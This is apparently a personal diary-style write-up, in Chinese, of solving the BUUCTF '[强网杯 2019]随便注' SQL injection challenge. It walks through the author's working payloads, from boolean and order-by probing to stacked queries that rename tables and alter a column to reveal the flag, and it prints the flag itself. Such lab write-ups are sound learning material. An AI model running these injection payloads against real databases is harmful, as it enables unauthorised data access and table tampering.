buuctf [强网杯 2019]随便注 1

buuctf web [强网杯 2019]随便注 1 -刷题个人日记

小白一个,写给自己看。在这里插入图片描述
打开后是这样。
从题目和内容来看就是一道sql注入题。

输入

1' or 1=1;#

这个#用来注释掉后面的sql语句

buuctf [强网杯 2019]随便注 1_第1张图片
显示所有数据,这个数据有什么用我也不知道,但sql注入一般第一步就是这样看看有没有有用的信息(没有)。

输入

1' order by 2;#   
1' order by 3;#   

buuctf [强网杯 2019]随便注 1_第2张图片
buuctf [强网杯 2019]随便注 1_第3张图片在这里插入图片描述到第3列报错,说明只显示两列。

输入1'; show tables;#
buuctf [强网杯 2019]随便注 1_第4张图片
可以看到有 1919810931114514 和 words 两个表
进入看看有什么
输入

0'; show columns from `words`;#
0'; show columns from `1919810931114514`;#

表名首尾有 ` 这个符号。在键盘左上角,也可以写出波浪线~。
buuctf [强网杯 2019]随便注 1_第5张图片buuctf [强网杯 2019]随便注 1_第6张图片
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为

select id,data from words where id=

接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:

1';rename table `words` to words2; 
rename table `1919810931114514` to `words`;
 alter table words change flag id varchar(100);
  show tables; 
  show columns from words;# 

后面两句可以不用写,改完再查也行。
buuctf [强网杯 2019]随便注 1_第7张图片buuctf [强网杯 2019]随便注 1_第8张图片buuctf [强网杯 2019]随便注 1_第9张图片
最后用1' or 1=1;#
求出flag

flag{f4eb1a89-3469-42e2-a90b-3378585a5039}

参考
[强网杯 2019]随便注 1
SQL Injection8(堆叠注入)——强网杯2019随便注

这是篇写给自己的日记,因为只有自己写得出来而且能让读者看懂才能是真的明白了。写之前我以为我是明白的,写完后才算是真正明白了,写这就是个融会贯通的过程。

这里说明一些细节过程。在show tables show columns from ··· 前可以(或者说必须的?)show databases; 如果显示出数据证明存在堆叠注入,简单来说就是这个; 分号后可以写和执行其他语句的意思。
buuctf [强网杯 2019]随便注 1_第10张图片

参考里的1' union select 1,2;#后显示
buuctf [强网杯 2019]随便注 1_第11张图片
过滤掉的这些语句有什么用?我不明白,有这没这好像关系不大8?可能sql注入的题做的不多,看的市面不广的原因现在还不太懂。难道这是用rename和alter的原因吗?如果可以用这些过滤的语句那么该如何解题呢?

你可能感兴趣的:(ctf,buuctf,刷题日记,sql)